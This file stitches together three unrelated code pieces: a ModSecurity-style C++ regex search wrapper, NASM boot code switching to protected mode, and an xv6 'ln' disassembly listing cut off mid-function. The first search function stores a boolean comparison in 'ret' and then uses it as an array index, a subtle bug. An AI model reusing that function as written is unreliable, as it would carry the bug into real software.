int Regex::search(const std::string& s, SMatch *match) const {
int ovector[OVECCOUNT];
int ret = pcre_exec(m_pc, m_pce, s.c_str(),
s.size(), 0, 0, ovector, OVECCOUNT) > 0;
if (ret > 0) {
*match = SMatch(
std::string(s, ovector[ret-1], ovector[ret] - ovector[ret-1]),
0);
}
return ret;
}
int Regex::search(const std::string& s) const {
int ovector[OVECCOUNT];
return pcre_exec(m_pc, m_pce, s.c_str(),
s.size(), 0, 0, ovector, OVECCOUNT) > 0;
}
} // namespace Utils
} // namespace modsecurity
|
; Switching from real mode to protected mode
%include "src/boot/gdt.asm"
[bits 16] ; real mode
switch_to_pm:
cli ; 1. disable interrupts
lgdt [GDT_descriptor] ; 2. load the GDT descriptor
mov eax, cr0
or eax, 0x1 ; 3. set 32-bit mode bit in cr0
mov cr0, eax
jmp CODE_SEG:init_pm ; 4. far jump by using a different segment
[bits 32] ; protected mode
init_pm: ; we are now using 32-bit instructions
mov ax, DATA_SEG ; 5. update the segment registers
mov ds, ax
mov ss, ax
mov es, ax
mov fs, ax
mov gs, ax
mov ebp, 0x90000 ; 6. update the stack right at the top of the free space
mov esp, ebp
call entry_point ; 7. Call a well-known label with useful code
|
_ln: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "stat.h"
#include "user.h"
int
main(int argc, char *argv[])
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 push %ebp
b: 89 e5 mov %esp,%ebp
d: 53 push %ebx
e: 51 push %ecx
f: 8b 59 04 mov 0x4(%ecx),%ebx
if(argc != 3){
12: 83 39 03 cmpl $0x3,(%ecx)
15: 74 13 je 2a <main+0x2a>
printf(2, "Usage: ln old new\n");
17: 52 push %edx
18: 52 push %edx
19: 68 54 06 00 00 push $0x654
1e: 6a 02 push $0x2
20: e8 23 03 00 00 call 348 <printf>
exit();
25: e8 e3 01 00 00 call 20d <exit>
}
if(link(argv[1], argv[2]) < 0)
2a: 50 push %eax
2b: 50 push %eax
2c: ff 73 08 pushl 0x8(%ebx)
2f: ff 73 04 pushl 0x4(%ebx)
32: e8 36 02 00 00 call 26d <link>
37: 83 c4 10 add $0x10,%esp
3a: 85 c0 test %eax,%eax
3c: 78 05 js 43 <main+0x43>
printf(2, "link %s %s: failed\n", argv[1], argv[2]);
exit();
3e: e8 ca 01 00 00 call 20d <exit>
printf(2, "link %s %s: failed\n", argv[1], argv[2]);
43: ff 73 08 pushl 0x8(%ebx)
46: ff 73 04 pushl 0x4(%ebx)
49: 68 67 06 00 00 push $0x667
4e: 6a 02 push $0x2
50: e8 f3 02 00 00 call 348 <printf>
55: 83 c4 10 add $0x10,%esp
58: eb e4 jmp 3e <main+0x3e>
5a: 66 90 xchg %ax,%ax
0000005c <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, const char *t)
{
5c: 55 push %ebp
5d: 89 e5 mov %esp,%ebp
5f: 53 push %ebx
60: 8b 4d 08 mov 0x8(%ebp),%ecx
63: 8b 5d 0c mov 0xc(%ebp),%ebx
char *os;
os = s;
while((*s++ = *t++) != 0)
66: 31 c0 xor %eax,%eax
68: 8a 14 03 mov (%ebx,%eax,1),%dl
6b: 88 14 01 mov %dl,(%ecx,%eax,1)
6e: 40 inc %eax
6f: 84 d2 test %dl,%dl
71: 75 f5 jne 68 <strcpy+0xc>
;
return os;
}
73: 89 c8 mov %ecx,%eax
75: 5b pop %ebx
76: 5d pop %ebp
77: c3 ret
00000078 <strcmp>:
int
strcmp(const char *p, const char *q)
{
78: 55 push %ebp
79: 89 e5 mov %esp,%ebp
7b: 53 push %ebx
7c: 8b 5d 08 mov 0x8(%ebp),%ebx
7f: 8b 55 0c mov 0xc(%ebp),%edx
while(*p && *p == *q)
82: 0f b6 03 movzbl (%ebx),%eax
85: 0f b6 0a movzbl (%edx),%ecx
88: 84 c0 test %al,%al
8a: 75 10 jne 9c <strcmp+0x24>
8c: eb 1a jmp a8 <strcmp+0x30>
8e: 66 90 xchg %ax,%ax
p++, q++;
90: 43 inc %ebx
91: 42 inc %edx
while(*p && *p == *q)
92: 0f b6 03 movzbl (%ebx),%eax
95: 0f b6 0a movzbl (%edx),%ecx
98: 84 c0 test %al,%al
9a: 74 0c je a8 <strcmp+0x30>
9c: 38 c8 cmp %cl,%al
9e: 74 f0 je 90 <strcmp+0x18>
return (uchar)*p - (uchar)*q;
a0: 29 c8 sub %ecx,%eax
}
a2: 5b pop %ebx
a3: 5d pop %ebp
a4: c3 ret
a5: 8d 76 00 lea 0x0(%esi),%esi
a8: 31 c0 xor %eax,%eax
return (uchar)*p - (uchar)*q;
aa: 29 c8 sub %ecx,%eax
}
ac: 5b pop %ebx
ad: 5d pop %ebp
ae: c3 ret
af: 90 nop
000000b0 <strlen>:
uint
strlen(const char *s)
{
b0: 55 push %ebp
b1: 89 e5 mov %esp,%ebp
b3: 8b 55 08 mov 0x8(%ebp),%edx
int n;
for(n = 0; s[n]; n++)
b6: 80 3a 00 cmpb $0x0,(%edx)
b9: 74 15 je d0 <strlen+0x20>
bb: 31 c0 xor %eax,%eax
bd: 8d 76 00 lea 0x0(%esi),%esi
c0: 40 inc %eax
c1: 89 c1 mov %eax,%ecx
c3: 80 3c 02 00 cmpb $0x0,(%edx,%eax,1)
c7: 75 f7 jne c0 <strlen+0x10>
;
return n;
}
c9: 89 c8 mov %ecx,%eax
cb: 5d pop %ebp
cc: c3 ret
cd: 8d 76 00 lea 0x0(%esi),%esi
for(n = 0; s[n]; n++)
d0: 31 c9 xor %ecx,%ecx
}
d2: 89 c8 mov %ecx,%eax
d4: 5d pop %ebp
d5: c3 ret
d6: 66 90 xchg %ax,%ax
000000d8 <memset>:
void*
memset(void *dst, int c, uint n)
{
d8: 55 push %ebp
d9: 89 e5 mov %esp,%ebp
db: 57 push %edi
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
dc: 8b 7d 08 mov 0x8(%ebp),%edi
df: 8b 4d 10 mov 0x10(%ebp),%ecx
e2: 8b 45 0c mov 0xc(%ebp),%eax
e5: fc cld
e6: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
e8: 8b 45 08 mov 0x8(%ebp),%eax
eb: 5f pop %edi
ec: 5d pop %ebp
ed: c3 ret
ee: 66 90 xchg %ax,%ax
000000f0 <strchr>:
char*
strchr(const char *s, char c)
{
f0: 55 push %ebp
f1: 89 e5 mov %esp,%ebp
f3: 8b 45 08 mov 0x8(%ebp),%eax
f6: 8a 4d 0c mov 0xc(%ebp),%cl
for(; *s; s++)
f9: 8a 10 mov (%eax),%dl
fb: 84 d2 test %dl,%dl
fd: 75 0c jne 10b <strchr+0x1b>
ff: eb 13 jmp 114 <strchr+0x24>
101: 8d 76 00 lea 0x0(%esi),%esi
104: 40 inc %eax
105: 8a 10 mov (%eax),%dl
107: 84 d2 test %dl,%dl
109: 74 09 je 114 <strchr+0x24>
if(*s == c)
10b: 38 d1 cmp %dl,%cl
10d: 75 f5 jne 104 <strchr+0x14>
return (char*)s;
return 0;
}
10f: 5d pop %ebp
110: c3 ret
111: 8d 76 00 lea 0x0(%esi),%esi
return 0;
114: 31 c0 xor %eax,%eax
}
116: 5d pop %ebp
117: c3 ret
00000118 <gets>:
char*
gets(char *buf, int max)
{
118: 55 push %ebp
119: 89 e5 mov %esp,%ebp
11b: 57 push %edi
11c: 56 push %esi
11d: 53 push %ebx
11e: 83 ec 1c sub $0x1c,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
121: 8b 75 08 mov 0x8(%ebp),%esi
124: bb 01 00 00 00 mov $0x1,%ebx
129: 29 f3 sub %esi,%ebx
cc = read(0, &c, 1);
12b: 8d 7d e7 lea -0x19(%ebp),%edi
for(i=0; i+1 < max; ){
12e: eb 20 jmp 150 <gets+0x38>
cc = read(0, &c, 1);
130: 50 push %eax
131: 6a 01 push $0x1
133: 57 push %edi
134: 6a 00 push $0x0
136: e8 ea 00 00 00 call 225 <read>
if(cc < 1)
13b: 83 c4 10 add $0x10,%esp
13e: 85 c0 test %eax,%eax
140: 7e 16 jle 158 <gets+0x40>
break;
buf[i++] = c;
142: 8a 45 e7 mov -0x19(%ebp),%al
145: 88 06 mov %al,(%esi)
if(c == '\n' || c == '\r')
147: 46 inc %esi
148: 3c 0a cmp $0xa,%al
14a: 74 0c je 158 <gets+0x40>
14c: 3c 0d cmp $0xd,%al
14e: 74 08 je 158 <gets+0x40>
for(i=0; i+1 < max; ){
150: 8d 04 33 lea (%ebx,%esi,1),%eax
153: 39 45 0c cmp %eax,0xc(%ebp)
156: 7f d8 jg 130 <gets+0x18>
break;
}
buf[i] = '\0';
158: c6 06 00 movb $0x0,(%esi)
return buf;
}
15b: 8b 45 08 mov 0x8(%ebp),%eax
15e: 8d 65 f4 lea -0xc(%ebp),%esp
161: 5b pop %ebx
162: 5e pop %esi
163: 5f pop %edi
164: 5d pop %ebp
165: c3 ret
166: 66 90 xchg %ax,%ax
00000168 <stat>:
int
stat(const char *n, struct stat *st)
{
168: 55 push %ebp
169: 89 e5 mov %esp,%ebp
16b: 56 push %esi
16c: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
16d: 83 ec 08 sub $0x8,%esp
170: 6a 00 push $0x0
172: ff 75 08 pushl 0x8(%ebp)
175: e8 d3 00 00 00 call 24d <open>
if(fd < 0)
17a: 83 c4 10 add $0x10,%esp
17d: 85 c0 test %eax,%eax
17f: 78 27 js 1a8 <stat+0x40>
181: 89 c3 mov %eax,%ebx
return -1;
r = fstat(fd, st);
183: 83 ec 08 sub $0x8,%esp
186: ff 75 0c pushl 0xc(%ebp)
189: 50 push %eax
18a: e8 d6 00 00 00 call 265 <fstat>
18f: 89 c6 mov %eax,%esi
close(fd);
191: 89 1c 24 mov %ebx,(%esp)
194: e8 9c 00 00 00 call 235 <close>
return r;
199: 83 c4 10 add $0x10,%esp
}
19c: 89 f0 mov %esi,%eax
19e: 8d 65 f8 lea -0x8(%ebp),%esp
1a1: 5b pop %ebx
1a2: 5e pop %esi
1a3: 5d pop %ebp
1a4: c3 ret
1a5: 8d 76 00 lea 0x0(%esi),%esi
return -1;
1a8: be ff ff ff ff mov $0xffffffff,%esi
1ad: eb ed jmp 19c <stat+0x34>
1af: 90 nop
000001b0 <atoi>:
int
atoi(const char *s)
{
1b0: 55 push %ebp
1b1: 89 e5 mov %esp,%ebp
1b3: 53 push %ebx
1b4: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
n = 0;
while('0' <= *s && *s <= '9')
1b7: 0f be 01 movsbl (%ecx),%eax
1ba: 8d 50 d0 lea -0x30(%eax),%edx
1bd: 80 fa 09 cmp $0x9,%dl
n = 0;
1c0: ba 00 00 00 00 mov $0x0,%edx
while('0' <= *s && *s <= '9')
1c5: 77 16 ja 1dd <atoi+0x2d>
1c7: 90 nop
n = n*10 + *s++ - '0';
1c8: 41 inc %ecx
1c9: 8d 14 92 lea (%edx,%edx,4),%edx
1cc: 01 d2 add %edx,%edx
1ce: 8d 54 02 d0 lea -0x30(%edx,%eax,1),%edx
while('0' <= *s && *s <= '9')
1d2: 0f be 01 movsbl (%ecx),%eax
1d5: 8d 58 d0 lea -0x30(%eax),%ebx
1d8: 80 fb 09 cmp $0x9,%bl
1db: 76 eb jbe 1c8 <atoi+0x18>
return n;
}
1dd: 89 d0 mov %edx,%eax
1df: 5b pop %ebx
1e0: 5d pop %ebp
1e1: c3 ret
1e2: 66 90 xchg %ax,%ax
000001e4 <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
1e4: 55 push %ebp
1e5: 89 e5 mov %esp,%ebp
1e7: 57 push %edi
1e8: 56 push %esi
1e9: 8b 45 08 mov 0x8(%ebp),%eax
1ec: 8b 75 0c mov 0xc(%ebp),%esi
1ef: 8b 55 10 mov 0x10(%ebp),%edx
char *dst;
const char *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
1f2: 85 d2 test %edx,%edx
1f4: 7e 0b jle 201 <memmove+0x1d>
1f6: 01 c2 add %eax,%edx
dst = vdst;
1f8: 89 c7 mov %eax,%edi
1fa: 66 90 xchg %ax,%ax
*dst++ = *src++;
1fc: a4 movsb %ds:(%esi),%es:(%edi)
while(n-- > 0)
1fd: 39 fa cmp %edi,%edx
1ff: 75 fb jne 1fc <memmove+0x18>
return vdst;
}
201: 5e pop %esi
202: 5f pop %edi
203: 5d pop %ebp
204: c3 ret
00000205 <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
205: b8 01 00 00 00 mov $0x1,%eax
20a: cd 40 int $0x40
20c: c3 ret
0000020d <exit>:
SYSCALL(exit)
20d: b8 02 00 00 00 mov $0x2,%eax
212: cd 40 int $0x40
214: c3 ret
00000215 <wait>:
SYSCALL(wait)
215: b8 03 00 00 00 mov $0x3,%eax
21a: cd 40 int $0x40
21c: c3 ret
0000021d <pipe>:
SYSCALL(pipe)
21d: b8 04 00 00 00 mov $0x4,%eax
222: cd 40 int $0x40
224: c3 ret
00000225 <read>:
SYSCALL(read)
225: b8 05 00 00 00 mov $0x5,%eax
22a: cd 40 int $0x40
22c: c3 ret
0000022d <write>:
SYSCALL(write)
22d: b8 10 00 00 00 mov $0x10,%eax
232: cd 40 int $0x40
234: c3 ret
00000235 <close>:
SYSCALL(close)
235: b8 15 00 00 00 mov $0x15,%eax
23a: cd 40 int $0x40
23c: c3 ret
0000023d <kill>:
SYSCALL(kill)
23d: b8 06 00 00 00 mov $0x6,%eax
242: cd 40 int $0x40
244: c3 ret
00000245 <exec>:
SYSCALL(exec)
245: b8 07 00 00 00 mov $0x7,%eax
24a: cd 40 int $0x40
24c: c3 ret
0000024d <open>:
SYSCALL(open)
24d: b8 0f 00 00 00 mov $0xf,%eax
252: cd 40 int $0x40
254: c3 ret
00000255 <mknod>:
SYSCALL(mknod)
255: b8 11 00 00 00 mov $0x11,%eax
25a: cd 40 int $0x40
25c: c3 ret
0000025d <unlink>:
SYSCALL(unlink)
25d: b8 12 00 00 00 mov $0x12,%eax
262: cd 40 int $0x40
264: c3 ret
00000265 <fstat>:
SYSCALL(fstat)
265: b8 08 00 00 00 mov $0x8,%eax
26a: cd 40 int $0x40
26c: c3 ret
0000026d <link>:
SYSCALL(link)
26d: b8 13 00 00 00 mov $0x13,%eax
272: cd 40 int $0x40
274: c3 ret
00000275 <mkdir>:
SYSCALL(mkdir)
275: b8 14 00 00 00 mov $0x14,%eax
27a: cd 40 int $0x40
27c: c3 ret
0000027d <chdir>:
SYSCALL(chdir)
27d: b8 09 00 00 00 mov $0x9,%eax
282: cd 40 int $0x40
284: c3 ret
00000285 <dup>:
SYSCALL(dup)
285: b8 0a 00 00 00 mov $0xa,%eax
28a: cd 40 int $0x40
28c: c3 ret
0000028d <getpid>:
SYSCALL(getpid)
28d: b8 0b 00 00 00 mov $0xb,%eax
292: cd 40 int $0x40
294: c3 ret
00000295 <sbrk>:
SYSCALL(sbrk)
295: b8 0c 00 00 00 mov $0xc,%eax
29a: cd 40 int $0x40
29c: c3 ret
0000029d <sleep>:
SYSCALL(sleep)
29d: b8 0d 00 00 00 mov $0xd,%eax
2a2: cd 40 int $0x40
2a4: c3 ret
000002a5 <uptime>:
SYSCALL(uptime)
2a5: b8 0e 00 00 00 mov $0xe,%eax
2aa: cd 40 int $0x40
2ac: c3 ret
000002ad <mprotect>:
#me
SYSCALL(mprotect)
2ad: b8 16 00 00 00 mov $0x16,%eax
2b2: cd 40 int $0x40
2b4: c3 ret
000002b5 <munprotect>:
SYSCALL(munprotect)
2b5: b8 17 00 00 00 mov $0x17,%eax
2ba: cd 40 int $0x40
2bc: c3 ret
2bd: 66 90 xchg %ax,%ax
2bf: 90 nop
000002c0 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
2c0: 55 push %ebp
2c1: 89 e5 mov %esp,%ebp
2c3: 57 push %edi
2c4: 56 push %esi
2c5: 53 push %ebx
2c6: 83 ec 3c sub $0x3c,%esp
2c9: 89 45 bc mov %eax,-0x44(%ebp)
2cc: 89 4d c4 mov %ecx,-0x3c(%ebp)
uint x;
neg = 0;
if(sgn && xx < 0){
neg = 1;
x = -xx;
2cf: 89 d1 mov %edx,%ecx
if(sgn && xx < 0){
2d1: 8b 5d 08 mov 0x8(%ebp),%ebx
2d4: 85 db test %ebx,%ebx
2d6: 74 04 je 2dc <printint+0x1c>
2d8: 85 d2 test %edx,%edx
2da: 78 68 js 344 <printint+0x84>
neg = 0;
2dc: c7 45 08 00 00 00 00 movl $0x0,0x8(%ebp)
} else {
x = xx;
}
i = 0;
2e3: 31 ff xor %edi,%edi
2e5: 8d 75 d7 lea -0x29(%ebp),%esi
do{
buf[i++] = digits[x % base];
2e8: 89 c8 mov %ecx,%eax
2ea: 31 d2 xor %edx,%edx
2ec: f7 75 c4 divl -0x3c(%ebp)
2ef: 89 fb mov %edi,%ebx
2f1: 8d 7f 01 lea 0x1(%edi),%edi
2f4: 8a 92 84 06 00 00 mov 0x684(%edx),%dl
2fa: 88 54 1e 01 mov %dl,0x1(%esi,%ebx,1)
}while((x /= base) != 0);
2fe: 89 4d c0 mov %ecx,-0x40(%ebp)
301: 89 c1 mov %eax,%ecx
303: 8b 45 c4 mov -0x3c(%ebp),%eax
306: 3b 45 c0 cmp -0x40(%ebp),%eax
309: 76 dd jbe 2e8 <printint+0x28>
if(neg)
30b: 8b 4d 08 mov 0x8(%ebp),%ecx
30e: 85 c9 test %ecx,%ecx
310: 74 09 je 31b <printint+0x5b>
buf[i++] = '-';
312: c6 44 3d d8 2d movb $0x2d,-0x28(%ebp,%edi,1)
buf[i++] = digits[x % base];
317: 89 fb mov %edi,%ebx
buf[i++] = '-';
319: b2 2d mov $0x2d,%dl
while(--i >= 0)
31b: 8d 5c 1d d7 lea -0x29(%ebp,%ebx,1),%ebx
31f: 8b 7d bc mov -0x44(%ebp),%edi
322: eb 03 jmp 327 <printint+0x67>
324: 8a 13 mov (%ebx),%dl
326: 4b dec %ebx
putc(fd, buf[i]);
327: 88 55 d7 mov %dl,-0x29(%ebp)
write(fd, &c, 1);
32a: 50 push %eax
32b: 6a 01 push $0x1
32d: 56 push %esi
32e: 57 push %edi
32f: e8 f9 fe ff ff call 22d <write>
while(--i >= 0)
334: 83 c4 10 add $0x10,%esp
337: 39 de cmp %ebx,%esi
339: 75 e9 jne 324 <printint+0x64>
}
33b: 8d 65 f4 lea -0xc(%ebp),%esp
33e: 5b pop %ebx
33f: 5e pop %esi
340: 5f pop %edi
341: 5d pop %ebp
342: c3 ret
343: 90 nop
x = -xx;
344: f7 d9 neg %ecx
346: eb 9b jmp 2e3 <printint+0x23>
00000348 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
348: 55 push %ebp
349: 89 e5 mov %esp,%ebp
34b: 57 push %edi
34c: 56 push %esi
34d: 53 push %ebx
34e: 83 ec 2c sub $0x2c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
351: 8b 75 0c mov 0xc(%ebp),%esi
354: 8a 1e mov (%esi),%bl
356: 84 db test %bl,%bl
358: 0f 84 a3 00 00 00 je 401 <printf+0xb9>
35e: 46 inc %esi
ap = (uint*)(void*)&fmt + 1;
35f: 8d 45 10 lea 0x10(%ebp),%eax
362: 89 45 d0 mov %eax,-0x30(%ebp)
state = 0;
365: 31 d2 xor %edx,%edx
write(fd, &c, 1);
367: 8d 7d e7 lea -0x19(%ebp),%edi
36a: eb 29 jmp 395 <printf+0x4d>
36c: 89 55 d4 mov %edx,-0x2c(%ebp)
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
36f: 83 f8 25 cmp $0x25,%eax
372: 0f 84 94 00 00 00 je 40c <printf+0xc4>
state = '%';
} else {
putc(fd, c);
378: 88 5d e7 mov %bl,-0x19(%ebp)
write(fd, &c, 1);
37b: 50 push %eax
37c: 6a 01 push $0x1
37e: 57 push %edi
37f: ff 75 08 pushl 0x8(%ebp)
382: e8 a6 fe ff ff call 22d <write>
putc(fd, c);
387: 83 c4 10 add $0x10,%esp
38a: 8b 55 d4 mov -0x2c(%ebp),%edx
for(i = 0; fmt[i]; i++){
38d: 46 inc %esi
38e: 8a 5e ff mov -0x1(%esi),%bl
391: 84 db test %bl,%bl
393: 74 6c je 401 <printf+0xb9>
c = fmt[i] & 0xff;
395: 0f be cb movsbl %bl,%ecx
398: 0f b6 c3 movzbl %bl,%eax
if(state == 0){
39b: 85 d2 test %edx,%edx
39d: 74 cd je 36c <printf+0x24>
}
} else if(state == '%'){
39f: 83 fa 25 cmp $0x25,%edx
3a2: 75 e9 jne 38d <printf+0x45>
if(c == 'd'){
3a4: 83 f8 64 cmp $0x64,%eax
3a7: 0f 84 97 00 00 00 je 444 <printf+0xfc>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
3ad: 81 e1 f7 00 00 00 and $0xf7,%ecx
3b3: 83 f9 70 cmp $0x70,%ecx
3b6: 74 60 je 418 <printf+0xd0>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
3b8: 83 f8 73 cmp $0x73,%eax
3bb: 0f 84 8f 00 00 00 je 450 <printf+0x108>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
3c1: 83 f8 63 cmp $0x63,%eax
3c4: 0f 84 d6 00 00 00 je 4a0 <printf+0x158>
putc(fd, *ap);
ap++;
} else if(c == '%'){
3ca: 83 f8 25 cmp $0x25,%eax
3cd: 0f 84 c1 00 00 00 je 494 <printf+0x14c>
putc(fd, c);
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
3d3: c6 45 e7 25 movb $0x25,-0x19(%ebp)
write(fd, &c, 1);
3d7: 50 push %eax
3d8: 6a 01 push $0x1
3da: 57 push %edi
3db: ff 75 08 pushl 0x8(%ebp)
3de: e8 4a fe ff ff call 22d <write>
putc(fd, c);
3e3: 88 5d e7 mov %bl,-0x19(%ebp)
write(fd, &c, 1);
3e6: 83 c4 0c add $0xc,%esp
3e9: 6a 01 push $0x1
3eb: 57 push %edi
3ec: ff 75 08 pushl 0x8(%ebp)
3ef: e8 39 fe ff ff call 22d <write>
putc(fd, c);
3f4: 83 c4 10 add $0x10,%esp
}
state = 0;
3f7: 31 d2 xor %edx,%edx
for(i = 0; fmt[i]; i++){
3f9: 46 inc %esi
3fa: 8a 5e ff mov -0x1(%esi),%bl
3fd: 84 db test %bl,%bl
3ff: 75 94 jne 395 <printf+0x4d>
}
}
}
401: 8d 65 f4 lea -0xc(%ebp),%esp
404: 5b pop %ebx
405: 5e pop %esi
406: 5f pop %edi
407: 5d pop %ebp
408: c3 ret
409: 8d 76 00 lea 0x0(%esi),%esi
state = '%';
40c: ba 25 00 00 00 mov $0x25,%edx
411: e9 77 ff ff ff jmp 38d <printf+0x45>
416: 66 90 xchg %ax,%ax
printint(fd, *ap, 16, 0);
418: 83 ec 0c sub $0xc,%esp
41b: 6a 00 push $0x0
41d: b9 10 00 00 00 mov $0x10,%ecx
422: 8b 5d d0 mov -0x30(%ebp),%ebx
425: 8b 13 mov (%ebx),%edx
427: 8b 45 08 mov 0x8(%ebp),%eax
42a: e8 91 fe ff ff call 2c0 <printint>
ap++;
42f: 89 d8 mov %ebx,%eax
431: 83 c0 04 add $0x4,%eax
434: 89 45 d0 mov %eax,-0x30(%ebp)
437: 83 c4 10 add $0x10,%esp
state = 0;
43a: 31 d2 xor %edx,%edx
ap++;
43c: e9 4c ff ff ff jmp 38d <printf+0x45>
441: 8d 76 00 lea 0x0(%esi),%esi
printint(fd, *ap, 10, 1);
444: 83 ec 0c sub $0xc,%esp
447: 6a 01 push $0x1
449: b9 0a 00 00 00 mov $0xa,%ecx
44e: eb d2 jmp 422 <printf+0xda>
s = (char*)*ap;
450: 8b 45 d0 mov -0x30(%ebp),%eax
453: 8b 18 mov (%eax),%ebx
ap++;
455: 83 c0 04 add $0x4,%eax
458: 89 45 d0 mov %eax,-0x30(%ebp)
if(s == 0)
45b: 85 db test %ebx,%ebx
45d: 74 65 je 4c4 <printf+0x17c>
while(*s != 0){
45f: 8a 03 mov (%ebx),%al
461: 84 c0 test %al,%al
463: 74 70 je 4d5 <printf+0x18d>
465: 89 75 d4 mov %esi,-0x2c(%ebp)
468: 89 de mov %ebx,%esi
46a: 8b 5d 08 mov 0x8(%ebp),%ebx
46d: 8d 76 00 lea 0x0(%esi),%esi
putc(fd, *s);
470: 88 45 e7 mov %al,-0x19(%ebp)
write(fd, &c, 1);
473: 50 push %eax
474: 6a 01 push $0x1
476: 57 push %edi
477: 53 push %ebx
478: e8 b0 fd ff ff call 22d <write>
s++;
47d: 46 inc %esi
while(*s != 0){
47e: 8a 06 mov (%esi),%al
480: 83 c4 10 add $0x10,%esp
483: 84 c0 test %al,%al
485: 75 e9 jne 470 <printf+0x128>
487: 8b 75 d4 mov -0x2c(%ebp),%esi
state = 0;
48a: 31 d2 xor %edx,%edx
48c: e9 fc fe ff ff jmp 38d <printf+0x45>
491: 8d 76 00 lea 0x0(%esi),%esi
putc(fd, c);
494: 88 5d e7 mov %bl,-0x19(%ebp)
write(fd, &c, 1);
497: 52 push %edx
498: e9 4c ff ff ff jmp 3e9 <printf+0xa1>
49d: 8d 76 00 lea 0x0(%esi),%esi
putc(fd, *ap);
4a0: 8b 5d d0 mov -0x30(%ebp),%ebx
4a3: 8b 03 mov (%ebx),%eax
4a5: 88 45 e7 mov %al,-0x19(%ebp)
write(fd, &c, 1);
4a8: 51 push %ecx
4a9: 6a 01 push $0x1
4ab: 57 push %edi
4ac: ff 75 08 pushl 0x8(%ebp)
4af: e8 79 fd ff ff call 22d <write>
ap++;
4b4: 83 c3 04 add $0x4,%ebx
4b7: 89 5d d0 mov %ebx,-0x30(%ebp)
4ba: 83 c4 10 add $0x10,%esp
state = 0;
4bd: 31 d2 xor %edx,%edx
4bf: e9 c9 fe ff ff jmp 38d <printf+0x45>
s = "(null)";
4c4: bb 7b 06 00 00 mov $0x67b,%ebx
while(*s != 0){
4c9: b0 28 mov $0x28,%al
4cb: 89 75 d4 mov %esi,-0x2c(%ebp)
4ce: 89 de mov %ebx,%esi
4d0: 8b 5d 08 mov 0x8(%ebp),%ebx
4d3: eb 9b jmp 470 <printf+0x128>
state = 0;
4d5: 31 d2 xor %edx,%edx
4d7: e9 b1 fe ff ff jmp 38d <printf+0x45>
000004dc <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
4dc: 55 push %ebp
4dd: 89 e5 mov %esp,%ebp
4df: 57 push %edi
4e0: 56 push %esi
4e1: 53 push %ebx
4e2: 8b 5d 08 mov 0x8(%ebp),%ebx
Header *bp, *p;
bp = (Header*)ap - 1;
4e5: 8d 4b f8 lea -0x8(%ebx),%ecx
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
4e8: a1 20 09 00 00 mov 0x920,%eax
4ed: 8b 10 mov (%eax),%edx
4ef: 39 c8 cmp %ecx,%eax
4f1: 73 11 jae 504 <free+0x28>
4f3: 90 nop
4f4: 39 d1 cmp %edx,%ecx
4f6: 72 14 jb 50c <free+0x30>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
4f8: 39 d0 cmp %edx,%eax
4fa: 73 10 jae 50c <free+0x30>
{
4fc: 89 d0 mov %edx,%eax
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
4fe: 8b 10 mov (%eax),%edx
500: 39 c8 cmp %ecx,%eax
502: 72 f0 jb 4f4 <free+0x18>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
504: 39 d0 cmp %edx,%eax
506: 72 f4 jb 4fc <free+0x20>
508: 39 d1 cmp %edx,%ecx
50a: 73 f0 jae 4fc <free+0x20>
break;
if(bp + bp->s.size == p->s.ptr){
50c: 8b 73 fc mov -0x4(%ebx),%esi
50f: 8d 3c f1 lea (%ecx,%esi,8),%edi
512: 39 fa cmp %edi,%edx
514: 74 1a je 530 <free+0x54>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
516: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
519: 8b 50 04 mov 0x4(%eax),%edx
51c: 8d 34 d0 lea (%eax,%edx,8),%esi
51f: 39 f1 cmp %esi,%ecx
521: 74 24 je 547 <free+0x6b>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
523: 89 08 mov %ecx,(%eax)
freep = p;
525: a3 20 09 00 00 mov %eax,0x920
}
52a: 5b pop %ebx
52b: 5e pop %esi
52c: 5f pop %edi
52d: 5d pop %ebp
52e: c3 ret
52f: 90 nop
bp->s.size += p->s.ptr->s.size;
530: 03 72 04 add 0x4(%edx),%esi
533: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
536: 8b 10 mov (%eax),%edx
538: 8b 12 mov (%edx),%edx
53a: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
53d: 8b 50 04 mov 0x4(%eax),%edx
540: 8d 34 d0 lea (%eax,%edx,8),%esi
543: 39 f1 cmp %esi,%ecx
545: 75 dc jne 523 <free+0x47>
p->s.size += bp->s.size;
547: 03 53 fc add -0x4(%ebx),%edx
54a: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
54d: 8b 53 f8 mov -0x8(%ebx),%edx
550: 89 10 mov %edx,(%eax)
freep = p;
